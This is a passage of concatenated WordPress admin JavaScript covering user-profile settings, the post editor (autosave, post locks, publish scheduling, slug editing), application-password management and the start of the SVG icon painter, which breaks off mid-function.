			$(this).siblings('input[name="admin_color"]').prop('checked', true);
		});

		if ( select.length ) {
			$('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() {
				var dub = [],
					inputs = {
						display_nickname  : $('#nickname').val() || '',
						display_username  : $('#user_login').val() || '',
						display_firstname : $('#first_name').val() || '',
						display_lastname  : $('#last_name').val() || ''
					};

				if ( inputs.display_firstname && inputs.display_lastname ) {
					inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
					inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
				}

				$.each( $('option', select), function( i, el ){
					dub.push( el.value );
				});

				$.each(inputs, function( id, value ) {
					if ( ! value ) {
						return;
					}

					var val = value.replace(/<\/?[a-z][^>]*>/gi, '');

					if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
						dub.push(val);
						$('<option />', {
							'text': val
						}).appendTo( select );
					}
				});
			});

			/**
			 * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
			 */
			select.on( 'change', function() {
				if ( user_id !== current_user_id ) {
					return;
				}

				var display_name = this.value.trim() || current_name;

				greeting.text( display_name );
			} );
		}

		$colorpicker = $( '#color-picker' );
		$stylesheet = $( '#colors-css' );
		user_id = $( 'input#user_id' ).val();
		current_user_id = $( 'input[name="checkuser_id"]' ).val();

		$colorpicker.on( 'click.colorpicker', '.color-option', function() {
			var colors,
				$this = $(this);

			if ( $this.hasClass( 'selected' ) ) {
				return;
			}

			$this.siblings( '.selected' ).removeClass( 'selected' );
			$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );

			// Set color scheme.
			if ( user_id === current_user_id ) {
				// Load the colors stylesheet.
				// The default color scheme won't have one, so we'll need to create an element.
				if ( 0 === $stylesheet.length ) {
					$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
				}
				$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );

				// Repaint icons.
				if ( typeof wp !== 'undefined' && wp.svgPainter ) {
					try {
						colors = JSON.parse( $this.children( '.icon_colors' ).val() );
					} catch ( error ) {}

					if ( colors ) {
						wp.svgPainter.setColors( colors );
						wp.svgPainter.paint();
					}
				}

				// Update user option.
				$.post( ajaxurl, {
					action:       'save-user-color-scheme',
					color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
					nonce:        $('#color-nonce').val()
				}).done( function( response ) {
					if ( response.success ) {
						$( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
					}
				});
			}
		});

		bindPasswordForm();
		bindPasswordResetLink();
	});

	$( '#destroy-sessions' ).on( 'click', function( e ) {
		var $this = $(this);

		wp.ajax.post( 'destroy-sessions', {
			nonce: $( '#_wpnonce' ).val(),
			user_id: $( '#user_id' ).val()
		}).done( function( response ) {
			$this.prop( 'disabled', true );
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-success inline"><p>' + response.message + '</p></div>' );
		}).fail( function( response ) {
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-error inline"><p>' + response.message + '</p></div>' );
		});

		e.preventDefault();
	});

	window.generatePassword = generatePassword;

	// Warn the user if password was generated but not saved.
	$( window ).on( 'beforeunload', function () {
		if ( true === updateLock ) {
			return __( 'Your new password has not been saved.' );
		}
	} );

	/*
	 * We need to generate a password as soon as the Reset Password page is loaded,
	 * to avoid double clicking the button to retrieve the first generated password.
	 * See ticket #39638.
	 */
	$( function() {
		if ( $( '.reset-pass-submit' ).length ) {
			$( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
		}
	});

})(jQuery);
/*! This file is auto-generated */
window.makeSlugeditClickable=window.editPermalink=function(){},window.wp=window.wp||{},function(s){var t=!1,a=wp.i18n.__;window.commentsBox={st:0,get:function(t,e){var i=this.st;return this.st+=e=e||20,this.total=t,s("#commentsdiv .spinner").addClass("is-active"),t={action:"get-comments",mode:"single",_ajax_nonce:s("#add_comment_nonce").val(),p:s("#post_ID").val(),start:i,number:e},s.post(ajaxurl,t,function(t){t=wpAjax.parseAjaxResponse(t),s("#commentsdiv .widefat").show(),s("#commentsdiv .spinner").removeClass("is-active"),"object"==typeof t&&t.responses[0]?(s("#the-comment-list").append(t.responses[0].data),theList=theExtraList=null,s("a[className*=':']").off(),commentsBox.st>commentsBox.total?s("#show-comments").hide():s("#show-comments").show().children("a").text(a("Show more comments"))):1==t?s("#show-comments").text(a("No more comments found.")):s("#the-comment-list").append('<tr><td colspan="2">'+wpAjax.broken+"</td></tr>")}),!1},load:function(t){this.st=jQuery("#the-comment-list tr.comment:visible").length,this.get(t)}},window.WPSetThumbnailHTML=function(t){s(".inside","#postimagediv").html(t)},window.WPSetThumbnailID=function(t){var e=s('input[value="_thumbnail_id"]',"#list-table");0<e.length&&s("#meta\\["+e.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(t)},window.WPRemoveThumbnail=function(t){s.post(ajaxurl,{action:"set-post-thumbnail",post_id:s("#post_ID").val(),thumbnail_id:-1,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){"0"==t?alert(a("Could not set that as the thumbnail image. Try a different attachment.")):WPSetThumbnailHTML(t)})},s(document).on("heartbeat-send.refresh-lock",function(t,e){var i=s("#active_post_lock").val(),a=s("#post_ID").val(),n={};a&&s("#post-lock-dialog").length&&(n.post_id=a,i&&(n.lock=i),e["wp-refresh-post-lock"]=n)}).on("heartbeat-tick.refresh-lock",function(t,e){var i,a;e["wp-refresh-post-lock"]&&((e=e["wp-refresh-post-lock"]).lock_error?(i=s("#post-lock-dialog")).length&&!i.is(":visible")&&(wp.autosave&&(s(document).one("heartbeat-tick",function(){wp.autosave.server.suspend(),i.removeClass("saving").addClass("saved"),s(window).off("beforeunload.edit-post")}),i.addClass("saving"),wp.autosave.server.triggerSave()),e.lock_error.avatar_src&&(a=s("<img />",{class:"avatar avatar-64 photo",width:64,height:64,alt:"",src:e.lock_error.avatar_src,srcset:e.lock_error.avatar_src_2x?e.lock_error.avatar_src_2x+" 2x":void 0}),i.find("div.post-locked-avatar").empty().append(a)),i.show().find(".currently-editing").text(e.lock_error.text),i.find(".wp-tab-first").trigger("focus")):e.new_lock&&s("#active_post_lock").val(e.new_lock))}).on("before-autosave.update-post-slug",function(){t=document.activeElement&&"title"===document.activeElement.id}).on("after-autosave.update-post-slug",function(){s("#edit-slug-box > *").length||t||s.post(ajaxurl,{action:"sample-permalink",post_id:s("#post_ID").val(),new_title:s("#title").val(),samplepermalinknonce:s("#samplepermalinknonce").val()},function(t){"-1"!=t&&s("#edit-slug-box").html(t)})})}(jQuery),function(a){var n,t;function i(){n=!1,window.clearTimeout(t),t=window.setTimeout(function(){n=!0},3e5)}a(function(){i()}).on("heartbeat-send.wp-refresh-nonces",function(t,e){var i=a("#wp-auth-check-wrap");(n||i.length&&!i.hasClass("hidden"))&&(i=a("#post_ID").val())&&a("#_wpnonce").val()&&(e["wp-refresh-post-nonces"]={post_id:i})}).on("heartbeat-tick.wp-refresh-nonces",function(t,e){e=e["wp-refresh-post-nonces"];e&&(i(),e.replace&&a.each(e.replace,function(t,e){a("#"+t).val(e)}),e.heartbeatNonce)&&(window.heartbeatSettings.nonce=e.heartbeatNonce)})}(jQuery),jQuery(function(h){var p,e,i,a,n,s,o,l,r,t,c,d,u=h("#content"),f=h(document),v=h("#post_ID").val()||0,m=h("#submitpost"),g=!0,w=h("#post-visibility-select"),b=h("#timestampdiv"),k=h("#post-status-select"),_=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),y=new ClipboardJS(".copy-attachment-url.edit-media"),x=wp.i18n.__,C=wp.i18n._x;function D(t){c.hasClass("wp-editor-expand")||(r?o.theme.resizeTo(null,l+t.pageY):u.height(Math.max(50,l+t.pageY)),t.preventDefault())}function j(){var t;c.hasClass("wp-editor-expand")||(t=r?(o.focus(),((t=parseInt(h("#wp-content-editor-container .mce-toolbar-grp").height(),10))<10||200<t)&&(t=30),parseInt(h("#content_ifr").css("height"),10)+t-28):(u.trigger("focus"),parseInt(u.css("height"),10)),f.off(".wp-editor-resize"),t&&50<t&&t<5e3&&setUserSetting("ed_size",t))}postboxes.add_postbox_toggles(pagenow),window.name="",h("#post-lock-dialog .notification-dialog").on("keydown",function(t){var e;9==t.which&&((e=h(t.target)).hasClass("wp-tab-first")&&t.shiftKey?(h(this).find(".wp-tab-last").trigger("focus"),t.preventDefault()):e.hasClass("wp-tab-last")&&!t.shiftKey&&(h(this).find(".wp-tab-first").trigger("focus"),t.preventDefault()))}).filter(":visible").find(".wp-tab-first").trigger("focus"),wp.heartbeat&&h("#post-lock-dialog").length&&wp.heartbeat.interval(15),i=m.find(":submit, a.submitdelete, #post-preview").on("click.edit-post",function(t){var e=h(this);e.hasClass("disabled")?t.preventDefault():e.hasClass("submitdelete")||e.is("#post-preview")||h("form#post").off("submit.edit-post").on("submit.edit-post",function(t){if(!t.isDefaultPrevented()){if(wp.autosave&&wp.autosave.server.suspend(),"undefined"!=typeof commentReply){if(!commentReply.discardCommentChanges())return!1;commentReply.close()}g=!1,h(window).off("beforeunload.edit-post"),i.addClass("disabled"),("publish"===e.attr("id")?m.find("#major-publishing-actions .spinner"):m.find("#minor-publishing .spinner")).addClass("is-active")}})}),h("#post-preview").on("click.post-preview",function(t){var e=h(this),i=h("form#post"),a=h("input#wp-preview"),n=e.attr("target")||"wp-preview",s=navigator.userAgent.toLowerCase();t.preventDefault(),e.hasClass("disabled")||(wp.autosave&&wp.autosave.server.tempBlockSave(),a.val("dopreview"),i.attr("target",n).trigger("submit").attr("target",""),-1!==s.indexOf("safari")&&-1===s.indexOf("chrome")&&i.attr("action",function(t,e){return e+"?t="+(new Date).getTime()}),a.val(""))}),h("#title").on("keydown.editor-focus",function(t){var e;if(9===t.keyCode&&!t.ctrlKey&&!t.altKey&&!t.shiftKey){if((e="undefined"!=typeof tinymce&&tinymce.get("content"))&&!e.isHidden())e.focus();else{if(!u.length)return;u.trigger("focus")}t.preventDefault()}}),h("#auto_draft").val()&&h("#title").on("blur",function(){var t;this.value&&!h("#edit-slug-box > *").length&&(h("form#post").one("submit",function(){t=!0}),window.setTimeout(function(){!t&&wp.autosave&&wp.autosave.server.triggerSave()},200))}),f.on("autosave-disable-buttons.edit-post",function(){i.addClass("disabled")}).on("autosave-enable-buttons.edit-post",function(){wp.heartbeat&&wp.heartbeat.hasConnectionError()||i.removeClass("disabled")}).on("before-autosave.edit-post",function(){h(".autosave-message").text(x("Saving Draft\u2026"))}).on("after-autosave.edit-post",function(t,e){h(".autosave-message").text(e.message),h(document.body).hasClass("post-new-php")&&h(".submitbox .submitdelete").show()}),h(window).on("beforeunload.edit-post",function(t){var e=window.tinymce&&window.tinymce.get("content"),i=!1;if(wp.autosave?i=wp.autosave.server.postChanged():e&&(i=!e.isHidden()&&e.isDirty()),i)return t.preventDefault(),x("The changes you made will be lost if you navigate away from this page.")}).on("pagehide.edit-post",function(t){if(g&&(!t.target||"#document"==t.target.nodeName)){var t=h("#post_ID").val(),e=h("#active_post_lock").val();if(t&&e){t={action:"wp-remove-post-lock",_wpnonce:h("#_wpnonce").val(),post_ID:t,active_post_lock:e};if(window.FormData&&window.navigator.sendBeacon){var i=new window.FormData;if(h.each(t,function(t,e){i.append(t,e)}),window.navigator.sendBeacon(ajaxurl,i))return}h.post({async:!1,data:t,url:ajaxurl})}}}),h("#tagsdiv-post_tag").length?window.tagBox&&window.tagBox.init():h(".meta-box-sortables").children("div.postbox").each(function(){if(0===this.id.indexOf("tagsdiv-"))return window.tagBox&&window.tagBox.init(),!1}),h(".categorydiv").each(function(){var t,a,e,i=h(this).attr("id").split("-");i.shift(),a=i.join("-"),e="category"==a?"cats":a+"_tab",h("a","#"+a+"-tabs").on("click",function(t){t.preventDefault();t=h(this).attr("href");h(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),h("#"+a+"-tabs").siblings(".tabs-panel").hide(),h(t).show(),"#"+a+"-all"==t?deleteUserSetting(e):setUserSetting(e,"pop")}),getUserSetting(e)&&h('a[href="#'+a+'-pop"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).one("focus",function(){h(this).val("").removeClass("form-input-tip")}),h("#new"+a).on("keypress",function(t){13===t.keyCode&&(t.preventDefault(),h("#"+a+"-add-submit").trigger("click"))}),h("#"+a+"-add-submit").on("click",function(){h("#new"+a).trigger("focus")}),i=function(t){return!!h("#new"+a).val()&&(t.data+="&"+h(":checked","#"+a+"checklist").serialize(),h("#"+a+"-add-submit").prop("disabled",!0),t)},t=function(t,e){var i=h("#new"+a+"_parent");h("#"+a+"-add-submit").prop("disabled",!1),"undefined"!=e.parsed.responses[0]&&(e=e.parsed.responses[0].supplemental.newcat_parent)&&(i.before(e),i.remove())},h("#"+a+"checklist").wpList({alt:"",response:a+"-ajax-response",addBefore:i,addAfter:t}),h("#"+a+"-add-toggle").on("click",function(t){t.preventDefault(),h("#"+a+"-adder").toggleClass("wp-hidden-children"),h('a[href="#'+a+'-all"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).trigger("focus")}),h("#"+a+"checklist, #"+a+"checklist-pop").on("click",'li.popular-category > label input[type="checkbox"]',function(){var t=h(this),e=t.is(":checked"),i=t.val();i&&t.parents("#taxonomy-"+a).length&&h("#in-"+a+"-"+i+", #in-popular-"+a+"-"+i).prop("checked",e)})}),h("#postcustom").length&&h("#the-list").wpList({addBefore:function(t){return t.data+="&post_id="+h("#post_ID").val(),t},addAfter:function(){h("table#list-table").show()}}),h("#submitdiv").length&&(p=h("#timestamp").html(),e=h("#post-visibility-display").html(),a=function(){"public"!=w.find("input:radio:checked").val()?(h("#sticky").prop("checked",!1),h("#sticky-span").hide()):h("#sticky-span").show(),"password"!=w.find("input:radio:checked").val()?h("#password-span").hide():h("#password-span").show()},n=function(){if(b.length){var t,e=h("#post_status"),i=h('option[value="publish"]',e),a=h("#aa").val(),n=h("#mm").val(),s=h("#jj").val(),o=h("#hh").val(),l=h("#mn").val(),r=new Date(a,n-1,s,o,l),c=new Date(h("#hidden_aa").val(),h("#hidden_mm").val()-1,h("#hidden_jj").val(),h("#hidden_hh").val(),h("#hidden_mn").val()),d=new Date(h("#cur_aa").val(),h("#cur_mm").val()-1,h("#cur_jj").val(),h("#cur_hh").val(),h("#cur_mn").val());if(r.getFullYear()!=a||1+r.getMonth()!=n||r.getDate()!=s||r.getMinutes()!=l)return b.find(".timestamp-wrap").addClass("form-invalid"),!1;b.find(".timestamp-wrap").removeClass("form-invalid"),d<r?(t=x("Schedule for:"),h("#publish").val(C("Schedule","post action/button label"))):r<=d&&"publish"!=h("#original_post_status").val()?(t=x("Publish on:"),h("#publish").val(x("Publish"))):(t=x("Published on:"),h("#publish").val(x("Update"))),c.toUTCString()==r.toUTCString()?h("#timestamp").html(p):h("#timestamp").html("\n"+t+" <b>"+x("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",h('option[value="'+n+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(s,10)).replace("%3$s",a).replace("%4$s",("00"+o).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),"private"==w.find("input:radio:checked").val()?(h("#publish").val(x("Update")),0===i.length?e.append('<option value="publish">'+x("Privately Published")+"</option>"):i.html(x("Privately Published")),h('option[value="publish"]',e).prop("selected",!0),h("#misc-publishing-actions .edit-post-status").hide()):("future"==h("#original_post_status").val()||"draft"==h("#original_post_status").val()?i.length&&(i.remove(),e.val(h("#hidden_post_status").val())):i.html(x("Published")),e.is(":hidden")&&h("#misc-publishing-actions .edit-post-status").show()),h("#post-status-display").text(wp.sanitize.stripTagsAndEncodeText(h("option:selected",e).text())),"private"==h("option:selected",e).val()||"publish"==h("option:selected",e).val()?h("#save-post").hide():(h("#save-post").show(),"pending"==h("option:selected",e).val()?h("#save-post").show().val(x("Save as Pending")):h("#save-post").show().val(x("Save Draft")))}return!0},h("#visibility .edit-visibility").on("click",function(t){t.preventDefault(),w.is(":hidden")&&(a(),w.slideDown("fast",function(){w.find('input[type="radio"]').first().trigger("focus")}),h(this).hide())}),w.find(".cancel-post-visibility").on("click",function(t){w.slideUp("fast"),h("#visibility-radio-"+h("#hidden-post-visibility").val()).prop("checked",!0),h("#post_password").val(h("#hidden-post-password").val()),h("#sticky").prop("checked",h("#hidden-post-sticky").prop("checked")),h("#post-visibility-display").html(e),h("#visibility .edit-visibility").show().trigger("focus"),n(),t.preventDefault()}),w.find(".save-post-visibility").on("click",function(t){var e="",i=w.find("input:radio:checked").val();switch(w.slideUp("fast"),h("#visibility .edit-visibility").show().trigger("focus"),n(),"public"!==i&&h("#sticky").prop("checked",!1),i){case"public":e=h("#sticky").prop("checked")?x("Public, Sticky"):x("Public");break;case"private":e=x("Private");break;case"password":e=x("Password Protected")}h("#post-visibility-display").text(e),t.preventDefault()}),w.find("input:radio").on("change",function(){a()}),b.siblings("a.edit-timestamp").on("click",function(t){b.is(":hidden")&&(b.slideDown("fast",function(){h("input, select",b.find(".timestamp-wrap")).first().trigger("focus")}),h(this).hide()),t.preventDefault()}),b.find(".cancel-timestamp").on("click",function(t){b.slideUp("fast").siblings("a.edit-timestamp").show().trigger("focus"),h("#mm").val(h("#hidden_mm").val()),h("#jj").val(h("#hidden_jj").val()),h("#aa").val(h("#hidden_aa").val()),h("#hh").val(h("#hidden_hh").val()),h("#mn").val(h("#hidden_mn").val()),n(),t.preventDefault()}),b.find(".save-timestamp").on("click",function(t){n()&&(b.slideUp("fast"),b.siblings("a.edit-timestamp").show().trigger("focus")),t.preventDefault()}),h("#post").on("submit",function(t){n()||(t.preventDefault(),b.show(),wp.autosave&&wp.autosave.enableButtons(),h("#publishing-action .spinner").removeClass("is-active"))}),k.siblings("a.edit-post-status").on("click",function(t){k.is(":hidden")&&(k.slideDown("fast",function(){k.find("select").trigger("focus")}),h(this).hide()),t.preventDefault()}),k.find(".save-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),n(),t.preventDefault()}),k.find(".cancel-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),h("#post_status").val(h("#hidden_post_status").val()),n(),t.preventDefault()})),h("#titlediv").on("click",".edit-slug",function(){var t,e,a,i,n=0,s=h("#post_name"),o=s.val(),l=h("#sample-permalink"),r=l.html(),c=h("#sample-permalink a").html(),d=h("#edit-slug-buttons"),p=d.html(),u=h("#editable-post-name-full");for(u.find("img").replaceWith(function(){return this.alt}),u=u.html(),l.html(c),a=h("#editable-post-name"),i=a.html(),d.html('<button type="button" class="save button button-small">'+x("OK")+'</button> <button type="button" class="cancel button-link">'+x("Cancel")+"</button>"),d.children(".save").on("click",function(){var i=a.children("input").val();i==h("#editable-post-name-full").text()?d.children(".cancel").trigger("click"):h.post(ajaxurl,{action:"sample-permalink",post_id:v,new_slug:i,new_title:h("#title").val(),samplepermalinknonce:h("#samplepermalinknonce").val()},function(t){var e=h("#edit-slug-box");e.html(t),e.hasClass("hidden")&&e.fadeIn("fast",function(){e.removeClass("hidden")}),d.html(p),l.html(r),s.val(i),h(".edit-slug").trigger("focus"),wp.a11y.speak(x("Permalink saved"))})}),d.children(".cancel").on("click",function(){h("#view-post-btn").show(),a.html(i),d.html(p),l.html(r),s.val(o),h(".edit-slug").trigger("focus")}),t=0;t<u.length;++t)"%"==u.charAt(t)&&n++;c=n>u.length/4?"":u,e=x("URL Slug"),a.html('<label for="new-post-slug" class="screen-reader-text">'+e+'</label><input type="text" id="new-post-slug" value="'+c+'" autocomplete="off" spellcheck="false" />').children("input").on("keydown",function(t){var e=t.which;13===e&&(t.preventDefault(),d.children(".save").trigger("click")),27===e&&d.children(".cancel").trigger("click")}).on("keyup",function(){s.val(this.value)}).trigger("focus")}),window.wptitlehint=function(t){var e=h("#"+(t=t||"title")),i=h("#"+t+"-prompt-text");""===e.val()&&i.removeClass("screen-reader-text"),e.on("input",function(){""===this.value?i.removeClass("screen-reader-text"):i.addClass("screen-reader-text")})},wptitlehint(),t=h("#post-status-info"),c=h("#postdivrich"),!u.length||"ontouchstart"in window?h("#content-resize-handle").hide():t.on("mousedown.wp-editor-resize",function(t){(o="undefined"!=typeof tinymce?tinymce.get("content"):o)&&!o.isHidden()?(r=!0,l=h("#content_ifr").height()-t.pageY):(r=!1,l=u.height()-t.pageY,u.trigger("blur")),f.on("mousemove.wp-editor-resize",D).on("mouseup.wp-editor-resize mouseleave.wp-editor-resize",j),t.preventDefault()}).on("mouseup.wp-editor-resize",j),"undefined"!=typeof tinymce&&(h("#post-formats-select input.post-format").on("change.set-editor-class",function(){var t,e,i=this.id;i&&h(this).prop("checked")&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpost-format-[^ ]+/,""),t.dom.addClass(e,"post-format-0"==i?"post-format-standard":i),h(document).trigger("editor-classchange"))}),h("#page_template").on("change.set-editor-class",function(){var t,e,i=h(this).val()||"";(i=i.substr(i.lastIndexOf("/")+1,i.length).replace(/\.php$/,"").replace(/\./g,"-"))&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpage-template-[^ ]+/,""),t.dom.addClass(e,"page-template-"+i),h(document).trigger("editor-classchange"))})),u.on("keydown.wp-autosave",function(t){83!==t.which||t.shiftKey||t.altKey||_&&(!t.metaKey||t.ctrlKey)||!_&&!t.ctrlKey||(wp.autosave&&wp.autosave.server.triggerSave(),t.preventDefault())}),"auto-draft"===h("#original_post_status").val()&&window.history.replaceState&&h("#publish").on("click",function(){d=(d=window.location.href)+(-1!==d.indexOf("?")?"&":"?")+"wp-post-new-reload=true",window.history.replaceState(null,null,d)}),y.on("success",function(t){var e=h(t.trigger),i=h(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(x("The file URL has been copied to your clipboard"))})}),function(t,o){t(function(){var i,e=t("#content"),a=t("#wp-word-count").find(".word-count"),n=0;function s(){var t=!i||i.isHidden()?e.val():i.getContent({format:"raw"}),t=o.count(t);t!==n&&a.text(t),n=t}t(document).on("tinymce-editor-init",function(t,e){"content"===e.id&&(i=e).on("nodechange keyup",_.debounce(s,1e3))}),e.on("input keyup",_.debounce(s,1e3)),s()})}(jQuery,new wp.utils.WordCounter);/*! This file is auto-generated */
!function(o){var a=o("#application-passwords-section"),i=a.find(".create-application-password"),t=i.find(".input"),n=i.find(".button"),p=a.find(".application-passwords-list-table-wrapper"),r=a.find("tbody"),d=r.find(".no-items"),e=o("#revoke-all-application-passwords"),l=wp.template("new-application-password"),c=wp.template("application-password-row"),u=o("#user_id").val();function w(e,s,a){f(a=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:a,"error")}function f(e,s){s=o("<div></div>").attr("role","alert").attr("tabindex","-1").addClass("is-dismissible notice notice-"+s).append(o("<p></p>").text(e)).append(o("<button></button>").attr("type","button").addClass("notice-dismiss").append(o("<span></span>").addClass("screen-reader-text").text(wp.i18n.__("Dismiss this notice."))));return i.after(s),s}function v(){o(".notice",a).remove()}n.on("click",function(e){var s;e.preventDefault(),n.prop("aria-disabled")||(0===(e=t.val()).length?t.trigger("focus"):(v(),n.prop("aria-disabled",!0).addClass("disabled"),s={name:e},s=wp.hooks.applyFilters("wp_application_passwords_new_password_request",s,u),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"POST",data:s}).always(function(){n.removeProp("aria-disabled").removeClass("disabled")}).done(function(e){t.val(""),n.prop("disabled",!1),i.after(l({name:e.name,password:e.password})),o(".new-application-password-notice").attr("tabindex","-1").trigger("focus"),r.prepend(c(e)),p.show(),d.remove(),wp.hooks.doAction("wp_application_passwords_created_password",e,s)}).fail(w)))}),r.on("click",".delete",function(e){var s,a;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke this password? This action cannot be undone."))&&(s=o(this),e=(a=s.closest("tr")).data("uuid"),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords/"+e+"?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(0===a.siblings().length&&p.hide(),a.remove(),f(wp.i18n.__("Application password revoked."),"success").trigger("focus"))}).fail(w))}),e.on("click",function(e){var s;e.preventDefault(),window.confirm(wp.i18n.__("Are you sure you want to revoke all passwords? This action cannot be undone."))&&(s=o(this),v(),s.prop("disabled",!0),wp.apiRequest({path:"/wp/v2/users/"+u+"/application-passwords?_locale=user",method:"DELETE"}).always(function(){s.prop("disabled",!1)}).done(function(e){e.deleted&&(r.children().remove(),a.children(".new-application-password").remove(),p.hide(),f(wp.i18n.__("All application passwords revoked."),"success").trigger("focus"))}).fail(w))}),a.on("click",".notice-dismiss",function(e){e.preventDefault();var s=o(this).parent();s.removeAttr("role"),s.fadeTo(100,0,function(){s.slideUp(100,function(){s.remove(),t.trigger("focus")})})}),t.on("keypress",function(e){13===e.which&&(e.preventDefault(),n.trigger("click"))}),0===r.children("tr").not(d).length&&p.hide()}(jQuery);/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$( function() {
		// Detection for browser SVG capability.
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// Loop through all elements.
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// Paint icon in 'current' color.
					painter.paintElement( $element, 'current' );
				} else {
					// Paint icon in base color.
					painter.paintElement( $element, 'base' );

					// Set hover callbacks.
					$menuitem.on( 'mouseenter', function() {
						painter.paintElement( $element, 'focus' );
					} ).on( 'mouseleave', function() {
						// Match the delay from hoverIntent.
						window.setTimeout( function() {
							painter.paintElement( $element, 'base' );
						}, 100 );
					} );
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// Only accept hex colors: #101 or #101010.
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// Replace `fill` attributes.
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

